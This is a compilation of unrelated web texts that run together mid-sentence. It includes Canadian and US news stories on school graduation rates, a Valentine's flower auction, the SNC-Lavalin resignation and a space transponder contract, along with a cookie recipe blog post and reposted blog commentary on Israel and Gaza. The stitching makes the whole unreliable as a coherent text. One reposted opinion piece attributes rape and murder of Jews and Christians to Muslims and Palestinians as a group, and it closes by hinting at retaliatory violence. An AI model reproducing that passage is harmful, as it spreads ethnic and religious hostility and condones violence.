Mark Tronson's archive of articles can be viewed at http://www.pressserviceinternational.org/mark-tronson.htmlMadison School District officials said Wednesday they are pleased with the trajectory of minority and low-income students graduating in four years, despite a drop in the graduation rate for black students last year.

In 2018, 65.6 percent of black students in the district graduated in four years, down 7 percentage points from when the rate spiked in spring 2017, according to data released this week by the state Department of Public Instruction.

The four-year graduation rate for all Madison students was 81.5 percent last spring, or 8 percentage points below the statewide average. That was down from 83.0 percent in 2016-17 but up from 73.7 percent in 2011.

Overall, the districts graduation trends are pointing in a positive direction, but Superintendent Jen Cheatham said plenty of work remains to be done on closing gaps between white and minority students and those from different income backgrounds.

We are totally unsatisfied by (the achievement gaps), Cheatham said Wednesday in an interview. Were going to keep striving ahead. Were going to keep getting those numbers up year over year and prepare students not just to graduate but for what comes after high school.To become a qualified bidder at the auction, a company must include an earnest money deposit of $100,000, which Polsky will place in an escrow in a non-interest bearing account. Qualified bidders must submit their deposit by March 1 to be eligible to participate in the auction. Companies wishing to bid on the six stores should have an appointed agent attend the auction. Bids for portions of a lot will not be considered.

The auction will be done in rounds, with each company having 15 minutes to submit a bid, the court document states.

Polsky is working with Illinois-based Silverman Consulting for the purpose of overseeing the operations of GMI and assisting the receiver in marketing and negotiating the sale of GMIs assets, the court document reads. The receiver and Silverman have contacted potential purchasers in order to market the assets of GMI in a commercially reasonable manner and maximize the value of the assets for the benefit of GMIs creditors.By Cheryl Brooks





My eldest son texted me yesterday to ask for "the recipe for those crazy amazing chocolate cookies you used to make--the ones that usually didn't make it past the dough stage." I can't remember the last time I made them, but I must've posted that recipe on a blog at some point because I had saved it in my computer and even had a picture, so I was ready for him.





I've done quite a lot of blogging since my first book was published in 2008. My personal blog ran for four years and I blogged every single day. I gave that up a few years back, and now, after 134 posts, I'm giving up this blog. We've had a lot of fun here over the years, but blogs aren't as popular as they once were, and the interaction with readers, which was the best part of blogging, has waned considerably. Plus, unless I finally finish the manuscript I've been working on for nearly a year, Mystic is my last book with Sourcebooks.





My son moved from Indiana to San Mateo, California about a year ago, and he says it's cold there today. When asked what the temperature was, his response was "50." I'm sitting here in Indiana with temps in the twenties and howling winds, so I don't have much sympathy for him. He was told that the move to California would turn him into a weather wimp, and that prediction appears to have been true.





But tomorrow is Valentine's Day, so wherever you are, make some cookies, curl up with a good book, and try to enjoy whatever weather you're having.





Chocolate Cookies









Ingredients:





 cup shortening

 cup cocoa

 cup butter

2 tsp vanilla

2 cups sugar

4 eggs

2 cups flour

2 tsp baking powder

1/8 tsp salt

Powdered sugar





Directions:

Melt shortening and butter. Add sugar, vanilla, and cocoa. Mix well. Add eggs one at a time, beating after each one. Add dry ingredients. Mix well and chill. Roll into balls, then roll in powdered sugar. Bake at 350 F for 12  15 minutes.CHATHAM  Teaching middle school students about heroic figures in history can be a dry proposition; after all, it was a long, long time ago that Washington crossed the Delaware. But working with local first responders and the co-author of The Finest Hours, Monomoy Middle School teachers have found a way to bring history to life.

For the second year, Monomoy sixth graders read the young reader version of the book that chronicles the historic rescue of 32 men from the stern section of the tanker Pendleton by Coast Guardsmen from Chatham in 1952. They took part in a series of field trips, meeting todays Coast Guard crew and touring the lighthouse at Station Chatham, talking with fishermen about what its like to navigate Chatham Bar, learning about ship-to-shore radios at the Marconi Center, and seeing the mock-up of the CG36500 at the Atwood House Museum.

We wanted to connect our kids with the history and geography of our local area, Principal Mark Wilson said. Students even had the chance to meet with some of the family members of survivors of the Pendleton rescue, he added. It just makes local history really come to life, Wilson said.

But to really understand heroism, kids were introduced to real-life heroes from the community: police, firefighters and members of the military. Groups of children were paired with a hero, who talked about the work they do saving lives and preserving the peace, English teacher Elizabeth Bourget said. Students interviewed their heroes, researched their occupations, and assembled a final project in the form of a digital presentation or a scrapbook.

Last Friday, marking the end of the unit, students filled both screening rooms at the Chatham Orpheum Theatre for a showing of The Finest Hours, with an introduction by co-author Casey Sherman to get everyone excited about the movie, Bourget said. After seeing the film, the students went to a special luncheon at Chatham Bars Inn, where they shared their final projects with their heroes and with each other. For the students, it was the culmination of weeks of hard work. For the honorees, it was a meaningful experience.

Harwich Fire Chief Norman Clarke said the wall of his office is decorated with certificates and various honors from his years in the fire service, but this is the most important thing Ive ever been given, he said, motioning to the sixth graders project.

Bourget said organizing the luncheon was a bit like planning a wedding with 185 guests. She thanked local restaurants for donating the food, Chatham Bars Inn for hosting the event, and the Art of Charity Foundation and the Chatham Friends of Trees for their financial support. Bourget also praised the heroes for spending time with students and sharing their stories.

Everyone has been incredibly generous, she said. Our community is full of local heroes.Updates throughout the day at http://calevbenyefuneh. blogspot.com. If you enjoy "Love of the Land", please be a subscriber. Just put your email address in the "Subscribe" box on the upper right-hand corner of the page.Twitter updates at LoveoftheLand as well as our Love of the Land page at Facebook which has additional pieces of interest besides that which is posted on the blog. Also check-out This Ongoing War by Frimet and Arnold Roth. An excellent blog, very important work.

.

..Israel Hayom..13 February '19..In response to the horrifying rape and murder of Ori Ansbacher by a Palestinian terrorist, MK Aida Touma-Sliman, chairwoman of the Knesset Committee on the Status of Women and Gender Equality, claimed that "the crime should be called what it is: The rape and murder of Ori Ansbacher is a gender-based crime. The criminal being Palestinian doesn't make the crime less horrifying and it cannot be part of the struggle for [Palestinian] national liberation."The Palestinians Knesset member and Israeli citizens, like her friends in the various Palestinian terrorist organizations, were prepared for a public relations battle to characterize the rape and murder of Ori as another woman being murdered. In other words, some nameless killer with a knife just raped her for the heck of it on a chilly morning, just because she was a woman  not because she was Jewish. Why did the Palestinian criminal arm himself with a knife, cross the security barrier, rape and fatally stab Ori, rather than some random Palestinian woman?The reason is simple: Every Palestinian who is exposed to incitement in some mosque, on social media, or in speeches by Palestinian leaders, knows that the enemy's blood can be shed. But if he rapes a Palestinian woman (a gender crime) or even secretly has his way with her in private, he'll be slaughtered and his immediate family members will follow him to hell.After all, Muslims have honor and they are permitted to commit murder to uphold it. So whom are they allowed to rape and murder on the basis of their gender? Jews and Christians, who are defined as weak and out of bounds of the Arab code of vengeance.Islamic tradition allows captive women to be used as sex slaves, as they are considered spoils of war. The acts of rape and murder the Muslims perpetrated against captive women (including Jews) are familiar to us in the form of the horrors committed by the Islamic State group and during the civil war in the former Yugoslavia, where these terrible crimes were carried out as a primitive expression of victory and the forcible impregnation of the enemy's women.That is the fate of the weak, who are not protected by "tribal law." MK Aida Touma-Sliman knows that most of the Christian residents of Bethlehem and Beit Jala fled for their lives because their daughters were being raped by Muslims from Hebron and Bedouin of the Taamra tribe. That is what happens when Arabs and Muslims see you as weak.There might be normative moral laws that mostly apply to regular citizens in functioning countries but in the incitement-ridden Palestinian territories, the victims  like Ori  are never the Arab or Muslim neighbors' daughters but rather Jews or other minorities.Generally, characteristic acts of Palestinian terrorism include murdering Jewish children in their schools and in their beds, slaughtering civilians in a hotel on the eve of a holiday and killing bus passengers and innocent civilians who are just shopping or going about their business.MK Touma-Sliman isn't trying to condemn a despicable ethno-religious act but rather downplay it merely because of the PR damage it might do to the "Palestinian struggle," which the world is sick of, anyway.In her idiotic attempt to obscure the fact that the awful crime was prompted by Palestinian incitement and by allowing violence against Jews (and Christians), Touma-Sliman is betraying her role as a Knesset member who is leading the fight against violence against women. She is hurting all the "weak" women whom the inciters among her own people define as killable and expendable.The rape of Ori is nothing new for the Palestinians. Back in prestate Israel, Palestinian Arabs would rape Jewish women  including minors  in the name of "national liberation" and the legacy of Islam. But then Jewish activism sent the Arab community a clear, powerful message that got around and it stopped. But the rapist-murderer who was captured this week was photographed grinning from ear to ear. Perhaps he and his friends should have things "explained" to them using the old methods?Updates throughout the day at http://calevbenyefuneh. blogspot.com. If you enjoy "Love of the Land", please be a subscriber. Just put your email address in the "Subscribe" box on the upper right-hand corner of the page.Twitter updates at LoveoftheLand as well as our Love of the Land page at Facebook which has additional pieces of interest besides that which is posted on the blog. Also check-out This Ongoing War by Frimet and Arnold Roth. An excellent blog, very important work.

.

..Gatestone Institute..12 February '19..When Hamas launched its weekly demonstrations along the border between the Gaza Strip and Israel 10 months ago, it first sent its men and their family members to participate in the protests. A few weeks later, however, Hamas instructed its men to stay away from the border after many were detected and killed by the Israeli army. Most of the Hamas men who were killed during the violence belonged to the group's military wing, Izaddin al-Qassam. Others belonged to the military wing of another terrorist group, Islamic Jihad.It is worth noting that the Hamas and Islamic Jihad members who were killed while participating in the violence near the Gaza-Israel border did not come there dressed in military uniforms or carrying their weapons. Instead, the Hamas and Islamic Jihad men participated in the weekly protests dressed in civilian clothes. They pretended they were ordinary and innocent civilians protesting against the economic crisis in the Hamas-ruled Gaza Strip.Later, however, Hamas was forced to admit that dozens of its members were killed in the first three months of the protests near the border. Salah Bardaweel, a senior Hamas official in the Gaza Strip, revealed in May 2018 that at least 50 Hamas members were killed during the violent demonstrations, which had begun two months earlier.Hamas was also forced to admit that most of the victims were "fighters" after their identities were revealed by their families and by hospitals in the Gaza Strip. Hamas was probably hoping that the identities of its men would remain a secret so that the group and other Palestinians could accuse Israel of targeting innocent and defenseless civilians.After the Hamas ploy was uncovered, the group and its supporters in the Gaza Strip resorted to a different tactic: sending children and women to the Gaza-Israel border.Updates throughout the day at http://calevbenyefuneh. blogspot.com. If you enjoy "Love of the Land", please be a subscriber. Just put your email address in the "Subscribe" box on the upper right-hand corner of the page.Twitter updates at LoveoftheLand as well as our Love of the Land page at Facebook which has additional pieces of interest besides that which is posted on the blog. Also check-out This Ongoing War by Frimet and Arnold Roth. An excellent blog, very important work.

.

..Inspiration from Zion..13 February '19..My Facebook feed is full of Oris photo. She looks different in the different images but in each, her radiant smile is the same.Ori, my light in Hebrew, was obviously a fitting name for this sunny girl. The more we hear about Ori from friends, family and the people she volunteered with helping underprivileged youth, we learn about the light that was stolen from us  Ori was a role model, an inspiration, a light that pointed the way for many to a better and happier world.Israel and the Jewish community around the world have paused in horror at the discovery of Oris brutal murder on February 7th.The rest of the world, not so much.Who cares about a dead Jewish girl? Women are raped and murdered all over the world. Its nothing unusual. Sad, but not newsworthy. Certainly not on an international level.From a distance, it is probably difficult to understand why this case is different.It is not just that our nation is so small and every life is precious.It is not just that Ori was lovely and innocent. It is not just the stark contrast between her sunniness and the viciousness with which her life was ripped from her, the darkness rising up to stomp out the light because it knows that even a small light can banish great darkness.Richard Gotfried grew up hearing about how his father escaped Russia to seek refuge in China. Now his story, and that of thousands of Jewish people, is being told in Calgary.

A new exhibit in Calgary, Shanghai: A Refuge During the Holocaust, details how thousands of Jewish people sought refuge in Shanghai during the Second World War.

And before that, the city was already welcoming Jewish refugees, including Gotfried's father, who immigrated as a child to China.

Gotfried's grandfather was killed by the Bolsheviks during the 1917 revolution in Russia. His role as an officer in the czar's army made him a target, and his wife and their five children fled to Shanghai, one of the few places offering refuge to Russian Jews.

Gotfried, who is the MLA in Calgary-Fish Creek, has been learning about his family's history and the many Jewish people who fled Nazi-occupied Europe to make a home in the safety of China.

Gotfried spoke with Calgary Eyeopener host David Gray. This interview has been edited for length and clarity:

Q: This exhibit at the Chinese Cultural Centre focuses on the Jews that fled Nazi Germany. How did they end up in Shanghai?

A: It was through a twist of fate and compassion.

There was a Chinese consul general in Vienna by the name of Ho Feng-Shan, who took it upon himself  against the orders of his superiors  to issue thousands of visas for Jews to have safe passage and to be allowed to land in Shanghai, at a time when Canada said none was too many.

That's the lesson for us here, I think, from this story.

Q: You mentioned both in your family's case but also in this case that Shanghai was welcoming at a time others weren't. Can you dig into that more? Why was that?

A: The international concessions of Shanghai were part of the Treaty of Nanjing but the Chinese people were very welcoming.

I think that's the story here and the beauty of this co-exhibit between the Chinese Cultural Centre here in Calgary and in the Calgary Jewish Federation.

Story continues

It was a welcoming place. It was a place where they said, "Come, come to to Shanghai," to this place of welcome, this place of international collaboration, in many ways, and co-operation at that time.

They were allowed to land in spite of the fact that the Japanese occupation, of course, was in place, and led to some other issues, which are chronicled in this exhibition.

Q: That was 1937. Was there any understanding between Confucianism and Jewish culture?

A: That was actually highlighted at the opening of this exhibit. Through Confucianism, in the open and welcoming nature of it, there was no sense of racism, no sense of anti-Semitism at the time.

In the many stories that we saw was the embracing and the co-mingling of the Chinese residents of Hongkou, which became the Shanghai ghetto. There were stories actually of children playing together, of the Chinese families supporting these unlikely refugees and ensuring that they were fed.

I mean, it was a tough conditions. There were 10 people living in a small apartment, in many cases, but it became a thriving community in its own right.

Q: This exhibit tells a story in part of your distant relatives, Gottfrieds with an extra "T." What became of them and other Jewish refugees in Shanghai after the war?

A: Many sought refuge beyond Shanghai. I mean, of course, there were signs of the communist revolution coming after 1945 but many did have relatives that were given safe passage to the U.S., to Australia, to Canada.

Hongkou and the Shanghai ghetto, it was a place of refuge for them but not necessarily a place of final resting and landing for them.

But many stayed. There was still a vibrant population. My father did not leave until 1949 until he was forced to. I hear that there's some rumours that some stayed until the mid-1950s.

Q: What does that mean to you, all these generations later as a Gotfried living in Calgary, to see an exhibit like this?

A: My father ended up going from China to Thailand, where he met my mother, who was a United Nations nurse. And through a twist of fate we ended up in Calgary, and I say I was conceived in Asia, born in Calgary.

But for me, I spent 20 years in the airline industry with Cathay Pacific. Strong roots, rebuilding those roots back to Asia and also strong roots with the Chinese community here in Calgary.

Submitted by Richard Gotfried

For me, it's kind of a homecoming and a blending of my heritage, my Jewish heritage. I'm actually a Presbyterian because my mother was an Irish Presbyterian.

The big story here is, I think, of the welcoming place that Alberta is and how we need to not only embrace and treasure that, but to defend that, that which allows us to be the community and the society that we are.

Listen to the full interview with Richard Gotfried here:

The free exhibit runs until Feb. 24 at the Chinese Cultural Centre. It then moves to the Calgary Jewish Community Centre, where it will be exhibited from Feb. 26 to March 10.

With files from Lisa Robinson and the Calgary Eyeopener.Even before the sun is up, dozens of florists arrive at the Inter-Provincial Flower Market.

Located inside a bland, concrete warehouse across the street from a hydro-electric corridor in Montreal's Saint-Laurent borough, the market is where fresh-cut flowers arrive in Montreal.

There are more than 250,000 flowers up for auction. Tens of thousands of roses alone will be bought by florists to stock their shelves in anticipation of Valentine's Day.

CBC

Murray Van Egmond, a florist, is at the market to buy Valentine's Day flowers for his Montreal West store.

He says in the floral industry, the market is known as "the clock."

"It's based on the Dutch reverse auction," says Van Egmond.

Flowers are sold via a unique auction based on a method Dutch flower markets have used for centuries  the price starts high and drops at timed intervals. As the price decreases, bidders try to get their flowers before another florist.

Go inside the flower market

Thousands of stems

At 6:30 a.m., a siren goes off to announce that the auction is going to begin. The florists assemble in a small room that resembles a university lecture hall.

Dozens of carts of fresh flowers are wheeled into the auction room.

CBC

The florists sit on rows of steel benches that slope up to the ceiling. Above the flowers is a video projection of a clock that counts down a price  from high to low. Bids are made on flowers with computer tablets. Buyers can also follow the auction from home.

Van Egmond's auction strategy is to keep an eye on the number of people in the stands to judge what he'll bid.

"If there's very few people, then you know that you can be not so worried about paying a high a price," says Van Egmond.

CBC

The flowers arrive at the market on express freight trucks in the middle of the night.

They can come from Quebec or Ontario, or as far away as South America.

Roses sold for Valentine's Day are mostly grown in South American countries like Ecuador and flown to Miami, then driven by truck to Montreal.

Story continues

"It takes three days to come to Montreal." says Pierre Charbonneau, the market's general manager.

Born into a family of florists, Van Egmond started going to the market as a teenager.

Christopher Furlong/Getty Images

Over the last three decades, he's seen the online distribution of flowers grow steadily.

"The younger generation who we were hoping to add to our client base  they go on the internet and buy flowers," says Van Egmond.

At the same time, he can't match the prices offered by big box stores such as Costco.

However, Van Egmond says what florists like himself can do is make unique arrangements that turn fresh-cut flowers, "into a wonderful masterpiece."Brian Keating, The Homestretch's naturalist, says the South Georgia Island archipelago near Antarctica is once again a haven for birds after a program to kill the rats that were accidentally brought there by whaling expeditions almost 250 years ago.

"As of last year, they declared South Georgia rat-free. It took $14 million and 10 years to get the job done using helicopters and a special rat poison," Keating told The Homestretch Monday by satellite phone.

"The result is profound. Right now, there are 53 million birds nesting on the various islands. They are estimating in the fairly near future that will increase by 100 million more birds. It will triple the population and turn the landscape back into a paradise for birds."

Betty Schultz/Submitted by Brian Keating

The bird population had suffered when black and brown rats and mice left ships visiting the remote island off the tip of Antarctica as far back as 1775. The birds in the area weren't used to predators. Their eggs, laid on the ground or in burrows, were snatched up by the rodents.

Keating says he witnessed some incredible examples of the rebirth.

"We had three incredibly special wildlife locations that we went to and two of those were king penguin rookeries. One had something like 125,000 pairs of king penguins. Can you imagine the noise?" Keating said.

Brian Keating

"We saw birds courting each other, we saw breeding, we saw birds with eggs on their feet  they incubate their eggs on their feet. We saw youngsters being fed. Our final king penguin colony was at a place called Gold Harbour and it was pure gold."

And South Georgia is more than just birds.

Bruce Paterson/Submitted by Brian Keating

"Through the fog we could hear the calls of elephant seals, fur seals and penguins. It was very ethereal. We landed on the beach with an unbelievable volume of wildlife all around us," he said.

"Then this curtain of fog began to lift and what was revealed was a stunning backdrop of a huge-hanging glacier. We had heard ice fall coming from that glacier. It was absolutely stunning."

With files from The Homestretch.By Thomas Escritt BERLIN (Reuters) - "Piranhas", a film about children wrapped up in the violence of the Neapolitan drugs trade, was inspired by crime journalist Roberto Saviano's desire to understand the emotional lives of teenagers who knew they were heading for violent early deaths. The film, based on his novel of the same name, is one of 16 in the running for the Berlin Film Festival's Golden Bear award, and shows the naive beginnings and breakneck escalation of the criminal career of a young boy named Nicola. "For the first time in international criminal history young kids have got to the highest levels of a criminal group," said Saviano, author of the best-selling account of organized crime "Gomorrah", ahead of the film's premiere on Tuesday evening. "There have always been children in these organizations but never as bosses. This is a unique case in history and that is what got me to work on it," added the author, who lives under 24-hour guard because of his organized crime reporting. Set in Rione Sanita, a deprived area near the center of Naples, the film startles the viewer with each sudden escalation in Nicola's level of criminality. The use of amateur actors recruited in the neighborhood itself lends authenticity to the drama, directed by Claudio Giovannesi. Nicola (Francesco Di Napoli), first sells weed for the local gang so he can ask them to stop demanding protection money from his mother's laundry shop. Before long, he is torching cars and murdering rivals, even while pursuing a quintessentially teenage romance with neighborhood waitress Letizia (Viviana Aprea). "What does a 12-year-old or a 15-year-old feel when they make millions of euros, above all when they know they are heading for their death," asked Saviano. "People are dying at 19 or 20, thinking they have lived a full life." Di Napoli said children like the one he portrayed were driven by a sense of having no alternative. "If you come from an extremely poor family and have nothing at all, you have a hunger within you," said Artem Tkachuk, who plays another gang member. "The alternative is to have a dream, to be able to fight for something they love." Saviano was critical of Italy's political class for having "given up" trying to offer something for children, leaving them to take their fate into their own hands. (Reporting by Thomas Escritt and Hanna Rantala; Editing by Frances Kerry)Mortgage rates from Canada's big banks were consistently more expensive than those offered by smaller lenders last year, according to the latest findings from LowestRates.ca.

The financial product comparison website said the lowest rates offered by the "Big Six"  Royal Bank of Canada, Toronto-Dominion Bank, Bank of Montreal, Scotiabank, Canadian Imperial Bank of Commerce, and National Bank of Canada  were always more expensive than the lowest rates from smaller lenders.

Justin Thouin, CEO of LowestRates.ca, said the big banks never offer the lowest posted rates on the market, and Canadians are not spending enough time researching rates before signing their mortgages, which could be costing them thousands a year.

CBC

"We compare prices when we do less costly things, like take a trip or buy a TV, but we don't shop around for rates for homes  one of the most expensive purchases we'll likely ever make  despite the fact that the money we can save on a vacation pales in comparison to what we can save on a mortgage," Thouin said in a statement.

Using RBC's announcement last month that it was decreasing its five-year fixed rate mortgage to 3.74 per cent as an example, the site said with the new bank rate, customers would pay $2,560 per month on a $500,000 mortgage, assuming that a down payment of at least 20 per cent was made to buy a home in order to avoid the CMHC insurance and a 25-year amortization period.

But, if customers in the same scenario got the best available five-year fixed rate mortgage from a smaller lender at 3.23 per cent, the monthly payment would be $2,426, according to LowestRates.ca. That's a difference of $134 a month, and would add up to $40,200 in savings over the course of a 25-year mortgage.

"Brokers and smaller lenders often drop their rates first to be more competitive, and banks are slower to implement changes, because they know they own the market," Thouin said.

Story continues

"This will only change when Canadians realize they're being overcharged and begin to shift away from the banks, and that will only happen as we increase awareness about the alternative market."

Banks account for nearly 60 per cent of all current home mortgages, according to a report from Mortgage Professionals Canada last month. Mortgage brokers took up almost 30 per cent of the market, while credit unions and others accounted for the rest.

CBC News contacted all of the big six banks for comment on LowestRates.ca's findings.

A spokesperson for National Bank said that many factors are taken into account and assessed  including each client's individual situation  before fixing a rate, and granting a loan.

TD said they offered "competitive rates," and flexible mortgage options to meet their customers' needs.

The remaining banks declined to comment.Trudeau pushes back on SNC-Lavalin, says he was 'surprised and disappointed' by Wilson-Raybould's resignation

If former justice minister Jody Wilson-Raybould felt she was being pressured by the Prime Minister's Office to help Quebec-based engineering firm SNC-Lavalin avoid criminal prosecution, she had an obligation to bring those concerns up with the prime minister, Justin Trudeau said Tuesday.

Speaking to reporters in Winnipeg, Trudeau said that he was "surprised and disappointed" by Wilson-Raybould's decision to step down.

"This resignation is not consistent with conversations I had with Jody weeks ago when I asked her to serve as Canada's minister for veterans affairs and associate minister of national defence. Nor is it consistent with the conversations we've had lately," said Trudeau, who referred to the former minister by her first name several times.

"In regards to the matter of SNC-Lavalin, let me be direct: the government of Canada did its job and to the clear public standards expected of it. If anybody felt differently, they had an obligation to raise that with me. No one, including Jody, did that."

Wilson-Raybould  who has kept largely silent since a news report claimed the PMO pressured her to help Quebec-based multinational engineering firm SNC-Lavalin avoid criminal prosecution  announced she was quitting the Liberal cabinet this morning.

Her resignation could trigger another cabinet shuffle and is likely to cast a long shadow over the upcoming election campaign.

Trudeau said that he's consulting with Canada's new attorney general, David Lametti, on whether, and to what degree, he can waive attorney-client privilege and reveal details of his conversations with Wilson-Raybould on the SNC-Lavalin case.

The prime minister warned, however, that his ability to comment might be limited by the fact that there are ongoing court proceedings involving the Quebec company.

Trudeau reiterates commitment to Indigenous reconciliation

Trudeau tried to reassure Indigenous Canadians that, despite the resignation of the only Indigenous member of cabinet, the Indigenous reconciliation effort remains a priority for his government  and that he'll get his feedback on the file from Canadians across the country.

Story continues

"Our government's commitment to reconciliation is larger than any one person, and we will work closely with Indigenous partners as we walk this path together," he said.

Wilson-Raybould, who was shuffled to the Veterans Affairs portfolio less than a month ago, has been under intense scrutiny since a Globe and Mail report alleged last week that the PMO wanted her to direct federal prosecutors to make a "deferred prosecution agreement" to avoid taking SNC-Lavalin to trial on bribery and fraud charges in relation to contracts in Libya.

"With a heavy heart, I am writing to tender my resignation as the Minister of Veterans Affairs and Associate Minister of National Defence," Wilson-Raybould wrote in her letter to the prime minister, a copy of which she tweeted online.

"When I sought federal elected office, it was with the goal of implementing a positive and progressive vision of change on behalf of all Canadians and a different way of doing politics."

In a brief statement, Cameron Ahmad, a spokesperson for Trudeau, said Wilson-Raybould tendered her resignation when she and Trudeau spoke last night. The prime minister informed the rest of his cabinet in a meeting this morning and announced that Defence Minister Harjit Sajjan will serve as the acting minister of veterans affairs, said Ahmad.

A government 'in disarray': Scheer

Conservative Leader Andrew Scheer called the resignation "a sign of a government in disarray" and once again urged Trudeau to waive solicitor-client privilege so Wilson-Raybould can speak freely about the case.

"Ms. Wilson Raybould's resignation makes it crystal clear that Justin Trudeau is trying to hide the truth with regards to the SNC-Lavalin affair," he told reporters in Fredericton.

He said his party respects her decision to resign from cabinet "on principle."

Scheer said he also sent a letter to Trudeau calling on him to preserve all the documents related to the SNC-Lavalin prosecution.

"With his government in chaos and cabinet changes imminent, he must take steps to protect this information from being altered or destroyed," Scheer said.

"As I've said before, Conservatives are keeping all options on the table to hold Justin Trudeau to account over this issue."

Treasury Board president voices support

Speaking in Regina, Public Safety Minister Ralph Goodale said it's "unfortunate" when any minister leaves the cabinet but deferred follow-up questions to the prime minister.

Shortly after Trudeau made his statement, Jane Philpott, who assumed the role of president of the Treasury Board in the same cabinet shuffle that saw Wilson-Raybould demoted from the Justice portfolio, took to Twitter to voice her support for her former cabinet colleague.

"You taught me so much  particularly about Indigenous history, rights and justice. I'm proud of the laws we worked on together ... I know you will continue to serve Canadians," Philpott said.

Wilson-Raybould, who plans to stay on as MP for Vancouver-Granville, has been quiet since the original Globe and Mail story broke, saying she can't comment because she's bound by solicitor-client privilege.

In her resignation letter, she said she has retained the services of lawyer Thomas Cromwell, a former justice of the Supreme Court of Canada, to advise her on "topics that I am legally permitted to discuss on this matter."

In an email to CBC News, Cromwell said he would not be making any statements or doing any interviews.

A spokesperson for MP Francis Scarpaleggia, chair of the national Liberal caucus, said that as of Tuesday morning, Wilson-Raybould hadn't left caucus.

Justice committee MPs meeting tomorrow

Her resignation marks a significant turning point in the emerging SNC-Lavalin affair.

Just a day earlier, Trudeau told reporters that he continued "to have full confidence" in Wilson-Raybould.

He also insisted, as he has since the story broke, that he did not direct Wilson-Raybould to come to any specific conclusions on whether to direct the Public Prosecution Service of Canada to reach an agreement with SNC-Lavalin.

"She confirmed for me a conversation we had this fall, where I told her directly that any decisions on matters involving the director of public prosecutions were hers alone," Trudeau said Monday.

"I respect her view that, due to privilege, she can't comment or add on matters recently before the media. I also highlight that we're bound by cabinet confidentiality. In our system of governance, her presence in cabinet should speak for itself."

The House of Commons justice committee is meeting Wednesday to decide whether to launch a study of the SNC-Lavalin case.

The Tories and New Democrats want nine high-ranking officials  including members of Trudeau's inner circle and the new justice minister, David Lametti  to testify before the committee.

Liberal MP Anthony Housefather, chair of the committee, told CBC News he's "leaning" towards a study  but he has concerns.

"I've been in discussion, ever since this meeting was called, with Liberal committee members. And what our primary concern is, will a study by the committee become an exercise in partisanship?" he said.

"That being said, I also believe Canadians need clarity."

The Conservatives have taken to tweeting out the Liberal committee members' contact information in a bid to have members of the public exert pressure on them.

NDP MP Nathan Cullen, the party's critic for democratic reform, said the opposition members plan to meet Tuesday to discuss adding the prime minister himself to the list of public officials being called to answer questions before the justice committee.

NDP Leader Jagmeet Singh also called on the Liberals to support the committee's push to look into the allegations.

"If Justin Trudeau and the Liberal government shut the justice committee's work down, it would send a dangerous signal to Canadians about the state of our democracy," Singh said in a statement.

"Justin Trudeau must be transparent, and we will continue to push his government to make sure Canadians receive the answers they deserve."

Ethics investigation launched

Wilson-Raybould's resignation is likely to haunt the Liberals during the election campaign  as will a recently launched probe by the federal ethics commissioner.

On Monday, Ethics Commissioner Mario Dion informed the NDP MPs who had requested an investigation that there is sufficient cause to proceed with an inquiry into Trudeau's actions in the case.

Responding to a letter from NDP MPs, Dion said he would investigate the prime minister personally for a possible contravention of Section 9 of the Conflict of Interest Act, which prohibits any official responsible for high-level decision-making in government from seeking to influence the decision of another person so as to "improperly further another person's private interests."

SNC-Lavalin faces charges of fraud and corruption in connection with nearly $48 million in payments made to Libyan government officials between 2001 and 2011.

The company has pleaded not guilty.

If convicted, the company could be blocked from competing for federal government contracts for a decade.

The case is still at the preliminary hearing stage.A St. John's-based research and development non-profit has inked an almost $10-million deal to help build a transponder to help the European Space Agency with its work.

"Our biomass transponder will include a number of firsts in terms of software and design that we believe will make it the most precise transponder on the planet," says Paul Griffin, president and CEO of C-CORE.

C-CORE is the prime contractor on the transponder and is working with three other groups  based in Italy, Ireland, and Luxembourg  for the project, called the Earth Explorer Biomass.

The purpose is to measure carbon stored in, and released by, forests, and what happens to it over time.

"The biomass mission addresses one of the most fundamental components in the Earth system: the status and dynamics of tropical forests. Eighty per cent of the world's biomass is located in the tropical forests," according to a media release from C-CORE.

Ted Dillon/CBC

So, what exactly would this new Earth-based transponder do?

"When the satellite passes overhead, it's up several hundred kilometres, our transponder communicates with the satellite to make sure the satellites are doing OK, the instruments are working, it's healthy, it's oriented properly," said Griffin.

"What we do is we take the imagery, we take the data from those satellites and turn it into useful information."

Griffin says, for example, the oil and gas industry relies on the information between satellites and transponders to help predict where icebergs will drift.

New jobs for new deal

Griffin said the location of the transponder, which will have an eight-metre dish, is still to be determined, but it will be located somewhere "on the Earth's geomagnetic equator."

"When we do find out, our folks from right here, from C-CORE in St. John's, will be travelling to that site, installing that transponder and making sure everything works," he added.

Story continues

The project, over several years, will see four new full-time employees join C-CORE, but there are other local advantages to the contract, Griffin added.

Ted Dillon/CBC

"It's also going to allow us to retain some of the expertise that Memorial University has built up in these areas over the years," he said.

Griffin admits many people likely don't know the work of C-CORE  which is a non-profit corporation that funds its operations by landing research projects  but that it has worked "on every continent and  on most oceans"  and of course, space, too.

"This win represents the largest industrial contract in C-CORE's 44-year history, which is incredible," Griffin said. "We're really, really proud of our people."

The contract was awarded under a cooperation agreement between Canada and the European Space Agency, which allows Canadian organizations to bid on tenders for contracts related to ESA activities and programs in which Canada participates, according to C-CORE.

Read more stories from CBC Newfoundland and LabradorMuch of Canada is currently under snow storm and freezing rain warnings, but it does look like there is relief in sight, at least in terms of precipitation.

I think the weekend looks dry across all of Eastern Canada at this point, even the Prairies, Brett Anderson, senior meteorologist with AccuWeather told Yahoo News Canada.

According to Anderson, a significantly drier pattern will make its way into the country as we move into next week, but the freezing temperatures are going to stick around.

Even though the coldest air is out west, its still going to be seasonably cold, if not a little bit colder than we typically expect at this time of year across Ontario, into Quebec and even the Maritimes, Anderson said.

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Ontario & Quebec

While Ontario and southern Quebec muscle through the mixture of snow, sleet, freezing rain and strong winds on Tuesday, snow showers are expected to continue into Wednesday afternoon, with heavier snowfall off of Lake Huron and Georgian Bay, and around the Barrie and Goderich, Ont. areas.

Nothing out of the ordinary, but [there is] still going to be some heavier snow bands there and quite windy as well, Anderson said.

Toronto is expected to only see a few flurries on Wednesday but the persistent strong winds will keep blow snow across the city, which will create a more dangerous commute on Wednesday morning.

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Just when you think its over, another system will be coming into southern Ontario late Thursday, but it wont be as significant as Tuesdays storm.

At this point, this looks like mixed precipitation, probably changing to rain at some point butnot a big storm, Anderson said. Looking to start with some snow and then eventually goes over to some sleet, and then perhaps some rain before it ends early Friday.

According to Anderson, over eight centimetres of snow could hit the Ottawa and Montreal regions late Thursday and into Friday morning, but dry conditions will move in for the weekend.

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Maritimes

Story continues

The storm that has barreled Ontario and Quebec with inches of snow will be heading towards Atlantic Canada on Wednesday.

